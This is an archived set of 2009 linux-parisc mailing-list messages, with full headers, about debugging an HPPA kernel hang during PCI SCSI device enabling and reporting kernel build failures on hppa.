	for glpp-linux-parisc@gmane.org; Mon, 10 Aug 2009 13:08:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753584AbZHJLId (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Aug 2009 07:08:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753687AbZHJLId
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 10 Aug 2009 07:08:33 -0400
Original-Received: from 28-43-236-85.rev.customer-net.de ([85.236.43.28]:50157 "EHLO
	mail.fsim-ev.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752979AbZHJLId (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Aug 2009 07:08:33 -0400
Original-Received: from media (dslb-084-056-074-157.pools.arcor-ip.net [84.56.74.157])
	by mail.fsim-ev.de (Postfix) with ESMTPSA id 244C326207C;
	Mon, 10 Aug 2009 13:08:30 +0200 (CEST)
In-Reply-To: <7d01f9f00908100109y6265c3efs31a6a2c46679ae90@mail.gmail.com>
X-Mailer: Sylpheed 2.6.0 (GTK+ 2.16.1; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2025
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2025>

On Mon, 10 Aug 2009 10:09:36 +0200
Thibaut VARENE <T-Bone@parisc-linux.org> wrote:

> Bummer, I've been reading the logs a bit too quickly. It seems we have
> two different problems here:
> 
> 2.6.30-1-64smp doesn't boot (apparently doesn't load init, hangs after
> the badness in smp.c message)
> 2.6.30-1-64up crashes while loading PCI drivers
> 
> A log of the up kernel with pdcchassis=0 would thus be helpful.

http://pastebin.com/m2a494b9b

I couldn't see any difference to the log without pdcchassis=0.



-- 
Bernd Gietzelt <berndg@fsim-ev.de>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Mon, 10 Aug 2009 13:18:51 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <7d01f9f00908100418x20ef23d5p2e752e05e8246ce4@mail.gmail.com>
References: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca>
	 <Pine.SOC.4.64.0908052241550.4076@math.ut.ee>
	 <20090806141542.bf48febf.berndg@fsim-ev.de>
	 <20090807162242.GA18373@lackof.org>
	 <20090808113100.37e0f4ab.berndg@fsim-ev.de>
	 <20090809052714.GA22362@lackof.org> <4A7F7652.6050209@tausq.org>
	 <7d01f9f00908100101w3d73e91fmce80eb79e85bdc61@mail.gmail.com>
	 <7d01f9f00908100109y6265c3efs31a6a2c46679ae90@mail.gmail.com>
	 <20090810130827.98dfd895.berndg@fsim-ev.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249903147 21429 80.91.229.12 (10 Aug 2009 11:19:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Aug 2009 11:19:07 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Bernd Gietzelt <berndg@fsim-ev.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 10 13:18:59 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MaSu0-0008Az-BP
	for glpp-linux-parisc@gmane.org; Mon, 10 Aug 2009 13:18:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753797AbZHJLSw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Aug 2009 07:18:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752967AbZHJLSw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 10 Aug 2009 07:18:52 -0400
Original-Received: from mail-ew0-f214.google.com ([209.85.219.214]:64547 "EHLO
	mail-ew0-f214.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752069AbZHJLSw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Aug 2009 07:18:52 -0400
Original-Received: by ewy10 with SMTP id 10so2919637ewy.37
        for <linux-parisc@vger.kernel.org>; Mon, 10 Aug 2009 04:18:52 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=9gpO3XCHolUJLM0ViZ+Eer89wnEdxrIF49qj80JS1Lk=;
        b=JXWMEZ1lJVREHYwVEP2AwZXtL8biqNJPuuGU9+4wdIeOCPUIZXRh6/dbbe2nmXo1/n
         tLu05xkuSfglvgcPpYRQwG0+Ah5smB9cXZt5r5u7B2Xi3N8PIVSe0+/2agPDB3OiF/je
         huzqWB9S7/O9oymsWDQYETsXa6P6NdZHMX3rE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=IC3pnYEXCM+hcu7L9VRTG6Qk8GFArOd3/BJIw4EciPK4r7loxwVMriMxrDhgBKTHRr
         OyoVCM7Pxko4aTjctV1HVXnmpCm7V7uaR7gQgpMSCPjfA+kIovsK8aK08uBi86u6/dNx
         n7sRz3aeEiXTaTnKlT0p/7oQDnjDQTyTHA2vQ=
Original-Received: by 10.216.1.85 with SMTP id 63mr898223wec.26.1249903131706; Mon, 10 
	Aug 2009 04:18:51 -0700 (PDT)
In-Reply-To: <20090810130827.98dfd895.berndg@fsim-ev.de>
X-Google-Sender-Auth: 505829118c8f3ff6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2026
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2026>

On Mon, Aug 10, 2009 at 1:08 PM, Bernd Gietzelt<berndg@fsim-ev.de> wrote:
> On Mon, 10 Aug 2009 10:09:36 +0200
> Thibaut VARENE <T-Bone@parisc-linux.org> wrote:
>
>> Bummer, I've been reading the logs a bit too quickly. It seems we have
>> two different problems here:
>>
>> 2.6.30-1-64smp doesn't boot (apparently doesn't load init, hangs after
>> the badness in smp.c message)
>> 2.6.30-1-64up crashes while loading PCI drivers
>>
>> A log of the up kernel with pdcchassis=0 would thus be helpful.
>
> http://pastebin.com/m2a494b9b
>
> I couldn't see any difference to the log without pdcchassis=0.

The final output of GSP is probably due to a HPMC. Could you check in
GSP "CL" command (for Console Logs) that there is no more kernel
output after line 218 in your dump?

Thanks

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bernd Gietzelt <berndg@fsim-ev.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Mon, 10 Aug 2009 13:57:05 +0200
Organization: FSIM e.V.
Lines: 23
Approved: news@gmane.org
Message-ID: <20090810135705.b79dfd45.berndg@fsim-ev.de>
References: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca>
	<Pine.SOC.4.64.0908052241550.4076@math.ut.ee>
	<20090806141542.bf48febf.berndg@fsim-ev.de>
	<20090807162242.GA18373@lackof.org>
	<20090808113100.37e0f4ab.berndg@fsim-ev.de>
	<20090809052714.GA22362@lackof.org>
	<4A7F7652.6050209@tausq.org>
	<7d01f9f00908100101w3d73e91fmce80eb79e85bdc61@mail.gmail.com>
	<7d01f9f00908100109y6265c3efs31a6a2c46679ae90@mail.gmail.com>
	<20090810130827.98dfd895.berndg@fsim-ev.de>
	<7d01f9f00908100418x20ef23d5p2e752e05e8246ce4@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249905448 28216 80.91.229.12 (10 Aug 2009 11:57:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Aug 2009 11:57:28 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 10 13:57:20 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MaTV8-0004p6-Py
	for glpp-linux-parisc@gmane.org; Mon, 10 Aug 2009 13:57:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753863AbZHJL5L (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Aug 2009 07:57:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753881AbZHJL5L
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 10 Aug 2009 07:57:11 -0400
Original-Received: from 28-43-236-85.rev.customer-net.de ([85.236.43.28]:42998 "EHLO
	mail.fsim-ev.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753863AbZHJL5K (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Aug 2009 07:57:10 -0400
Original-Received: from media (dslb-084-056-074-157.pools.arcor-ip.net [84.56.74.157])
	by mail.fsim-ev.de (Postfix) with ESMTPSA id 4A1A426207C;
	Mon, 10 Aug 2009 13:57:08 +0200 (CEST)
In-Reply-To: <7d01f9f00908100418x20ef23d5p2e752e05e8246ce4@mail.gmail.com>
X-Mailer: Sylpheed 2.6.0 (GTK+ 2.16.1; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2027
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2027>

On Mon, 10 Aug 2009 13:18:51 +0200
Thibaut VARENE <T-Bone@parisc-linux.org> wrote:

> >> 2.6.30-1-64up crashes while loading PCI drivers
> >> A log of the up kernel with pdcchassis=0 would thus be helpful.
> > http://pastebin.com/m2a494b9b
> > I couldn't see any difference to the log without pdcchassis=0.
> The final output of GSP is probably due to a HPMC. Could you check in
> GSP "CL" command (for Console Logs) that there is no more kernel
> output after line 218 in your dump?

No more lines. Sorry!

CL output: http://pastebin.com/m23ab8814
SER PIM output: http://pastebin.com/m197f93cf

-- 
Bernd Gietzelt <berndg@fsim-ev.de>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Mon, 10 Aug 2009 17:20:36 -0600
Lines: 49
Approved: news@gmane.org
Message-ID: <20090810232036.GA20454@lackof.org>
References: <20090805174507.GB11458@lackof.org> <Pine.SOC.4.64.0908052241550.4076@math.ut.ee> <20090806141542.bf48febf.berndg@fsim-ev.de> <20090807162242.GA18373@lackof.org> <20090808113100.37e0f4ab.berndg@fsim-ev.de> <20090809052714.GA22362@lackof.org> <4A7F7652.6050209@tausq.org> <7d01f9f00908100101w3d73e91fmce80eb79e85bdc61@mail.gmail.com> <7d01f9f00908100109y6265c3efs31a6a2c46679ae90@mail.gmail.com> <20090810130827.98dfd895.berndg@fsim-ev.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1249946449 29651 80.91.229.12 (10 Aug 2009 23:20:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Aug 2009 23:20:49 +0000 (UTC)
Cc: Thibaut VARENE <T-Bone@parisc-linux.org>,
	Randolph Chung <randolph@tausq.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Bernd Gietzelt <berndg@fsim-ev.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 11 01:20:42 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MaeAS-00013Y-K6
	for glpp-linux-parisc@gmane.org; Tue, 11 Aug 2009 01:20:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752834AbZHJXUh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Aug 2009 19:20:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752209AbZHJXUh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 10 Aug 2009 19:20:37 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:43459 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751511AbZHJXUg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Aug 2009 19:20:36 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 5EA4333E005C;
	Mon, 10 Aug 2009 17:20:37 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id eZSEmtNt-JHu; Mon, 10 Aug 2009 17:20:36 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id E5F2133E019B; Mon, 10 Aug 2009 17:20:36 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090810130827.98dfd895.berndg@fsim-ev.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2028
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2028>

On Mon, Aug 10, 2009 at 01:08:27PM +0200, Bernd Gietzelt wrote:
> On Mon, 10 Aug 2009 10:09:36 +0200
> Thibaut VARENE <T-Bone@parisc-linux.org> wrote:
> 
> > Bummer, I've been reading the logs a bit too quickly. It seems we have
> > two different problems here:
> > 
> > 2.6.30-1-64smp doesn't boot (apparently doesn't load init, hangs after
> > the badness in smp.c message)
> > 2.6.30-1-64up crashes while loading PCI drivers
> > 
> > A log of the up kernel with pdcchassis=0 would thus be helpful.
> 
> http://pastebin.com/m2a494b9b
> 
> I couldn't see any difference to the log without pdcchassis=0.

Yeah, wierd....I must be misremembering then.

In any case, the HPMC occurs on the first none-zero numbered Sym2 device:
sym53c8xx 0000:00:01.0: enabling device (0000 -> 0003)  is OK
sym53c8xx 0000:00:01.1: enabling device (0146 -> 0147)  is OK
sym53c8xx 0000:00:02.0: enabling device (0000 -> 0003)  is OK
sym53c8xx 0000:00:02.1: enabling device (0000 -> 0003)  is OK
sym53c8xx 0000:30:00.0: enabling device (0000 -> 0003)  seems to be OK
sym53c8xx 0000:38:00.0: enabling device (0000 -> 0003) HPMCs?

The second cards seems to be the culprit though there are
two add-on cards in the machine (I was expecting both to
fail in similar ways).

I saw you included the PIM dump with a later console capture
but I won't have time this week to look at it. :(
This PIM dump should confirm if we had problems accessing MMIO
space and which device (should) owns that space.

thanks,
grant

> 
> 
> 
> -- 
> Bernd Gietzelt <berndg@fsim-ev.de>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Tue, 11 Aug 2009 11:27:42 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <7d01f9f00908110227m213cc695w7f3113098819cff1@mail.gmail.com>
References: <20090805174507.GB11458@lackof.org>
	 <20090806141542.bf48febf.berndg@fsim-ev.de>
	 <20090807162242.GA18373@lackof.org>
	 <20090808113100.37e0f4ab.berndg@fsim-ev.de>
	 <20090809052714.GA22362@lackof.org> <4A7F7652.6050209@tausq.org>
	 <7d01f9f00908100101w3d73e91fmce80eb79e85bdc61@mail.gmail.com>
	 <7d01f9f00908100109y6265c3efs31a6a2c46679ae90@mail.gmail.com>
	 <20090810130827.98dfd895.berndg@fsim-ev.de>
	 <20090810232036.GA20454@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249997469 32306 80.91.229.12 (11 Aug 2009 13:31:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 11 Aug 2009 13:31:09 +0000 (UTC)
Cc: Bernd Gietzelt <berndg@fsim-ev.de>,
	Randolph Chung <randolph@tausq.org>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 11 15:31:01 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MarRE-00010C-WC
	for glpp-linux-parisc@gmane.org; Tue, 11 Aug 2009 15:30:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753123AbZHKNaY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 Aug 2009 09:30:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753441AbZHKNaY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 11 Aug 2009 09:30:24 -0400
Original-Received: from ey-out-2122.google.com ([74.125.78.25]:51139 "EHLO
	ey-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753123AbZHKNaW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 Aug 2009 09:30:22 -0400
Original-Received: by ey-out-2122.google.com with SMTP id 9so1055430eyd.37
        for <linux-parisc@vger.kernel.org>; Tue, 11 Aug 2009 06:30:22 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=wOBEe0Q4cDvn4nG3hbzv3seqfFSenQreH2axrqF4pQY=;
        b=cqYBmdZ00FfIxzvIY8C+NtMVzdlT2y914h6Gjb4OjB3aiWSHkD++ixCl+ouy1L1qUD
         wrmG9GO7cVm8chsW/7cum0QLecyoh7tZXI3YXLV2C2IxTs4kia8EkPJ8hSyrqhG0rXRy
         RL1fZJATvlgW/LbpB9Mve8TZEDKFi9xPeNkpQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=wYPbcIBFqgkj9V4GA5lCzF5rjQCDQ/YqO3IxdjEI0IR6V0E9MUFwsYCtAxtusP7ivs
         r0dlI5dtpf8z5kGuajDHQwpwQG77n4UdAwt+0kdHx2ClZDuVrWAoo2NJl9B9dWrqFUoP
         DlJBH5zhjFpxlHectOmfQEhOtzWk88ourAkpo=
Original-Received: by 10.216.87.143 with SMTP id y15mr1285749wee.39.1249982862135; Tue, 
	11 Aug 2009 02:27:42 -0700 (PDT)
In-Reply-To: <20090810232036.GA20454@lackof.org>
X-Google-Sender-Auth: 562a3a7aa8637364
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2029
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2029>

On Tue, Aug 11, 2009 at 1:20 AM, Grant
Grundler<grundler@parisc-linux.org> wrote:
> On Mon, Aug 10, 2009 at 01:08:27PM +0200, Bernd Gietzelt wrote:
>> On Mon, 10 Aug 2009 10:09:36 +0200
>> Thibaut VARENE <T-Bone@parisc-linux.org> wrote:
>>
>> > Bummer, I've been reading the logs a bit too quickly. It seems we have
>> > two different problems here:
>> >
>> > 2.6.30-1-64smp doesn't boot (apparently doesn't load init, hangs after
>> > the badness in smp.c message)
>> > 2.6.30-1-64up crashes while loading PCI drivers
>> >
>> > A log of the up kernel with pdcchassis=0 would thus be helpful.
>>
>> http://pastebin.com/m2a494b9b
>>
>> I couldn't see any difference to the log without pdcchassis=0.
>
> Yeah, wierd....I must be misremembering then.

No you're not and yes there are differences: without pdcchassis=0 you
have the "system initialization" GSP messages throughout the boot log.
The final message from the GSP is, as I pointed out, unrelated to the
pdcchassis driver, it's triggered directly by hardware.

HTH

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: ab3100_core.c fails to build w/ gcc-4.3.3 on hppa
Date: Tue, 11 Aug 2009 09:40:38 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20090811154038.GA10371@ldl.fc.hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1250005258 9905 80.91.229.12 (11 Aug 2009 15:40:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 11 Aug 2009 15:40:58 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	Linus Walleij <linus.ml.walleij@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 11 17:40:51 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MatSz-0004wV-N1
	for glpp-linux-parisc@gmane.org; Tue, 11 Aug 2009 17:40:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751219AbZHKPki (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 Aug 2009 11:40:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752389AbZHKPki
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 11 Aug 2009 11:40:38 -0400
Original-Received: from g1t0026.austin.hp.com ([15.216.28.33]:29747 "EHLO
	g1t0026.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751219AbZHKPkh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 Aug 2009 11:40:37 -0400
Original-Received: from g4t0018.houston.hp.com (g4t0018.houston.hp.com [16.234.32.27])
	by g1t0026.austin.hp.com (Postfix) with ESMTP id C7BECC475;
	Tue, 11 Aug 2009 15:40:38 +0000 (UTC)
Original-Received: from ldl (linux.corp.hp.com [15.11.146.101])
	by g4t0018.houston.hp.com (Postfix) with ESMTP id A25CA101B3;
	Tue, 11 Aug 2009 15:40:38 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by ldl (Postfix) with ESMTP id 8008F1A7E0A5;
	Tue, 11 Aug 2009 09:40:38 -0600 (MDT)
Original-Received: from ldl ([127.0.0.1])
	by localhost (ldl.fc.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Q-h5ltoLyGE0; Tue, 11 Aug 2009 09:40:38 -0600 (MDT)
Original-Received: from krebs (krebs.dannf [10.8.0.7])
	by ldl (Postfix) with ESMTP id 6D1EC1A7E022;
	Tue, 11 Aug 2009 09:40:38 -0600 (MDT)
Original-Received: by krebs (Postfix, from userid 20800)
	id 5B61219C084; Tue, 11 Aug 2009 09:40:38 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2030
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2030>

hey,
 While testing a 2.6.31-rc5-based snapshot of the Debian kernel
builds, I hit this build failure:

/home/dannf/linux-2.6-2.6.31~rc5/debian/build/source_hppa_none/drivers/mfd/ab3100-core.c:563:
warning: initialization from incompatible pointer type
/home/dannf/linux-2.6-2.6.31~rc5/debian/build/source_hppa_none/drivers/mfd/ab3100-core.c:647:
error: ab3100_init_settings causes a section type conflict

Same source/compiler seems to build fine on other archs.
-- 
dann frazier

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: hppa64 gcc ICE building linux-2.6.31-rc5
Date: Wed, 12 Aug 2009 15:34:56 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <20090812213456.GD13142@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1250112917 28694 80.91.229.12 (12 Aug 2009 21:35:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2009 21:35:17 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 12 23:35:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MbLTJ-0005Gq-2W
	for glpp-linux-parisc@gmane.org; Wed, 12 Aug 2009 23:35:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751269AbZHLVe4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 12 Aug 2009 17:34:56 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751425AbZHLVe4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 12 Aug 2009 17:34:56 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:46596 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751269AbZHLVez (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 12 Aug 2009 17:34:55 -0400
Original-Received: from localhost (localhost [127.0.0.1])
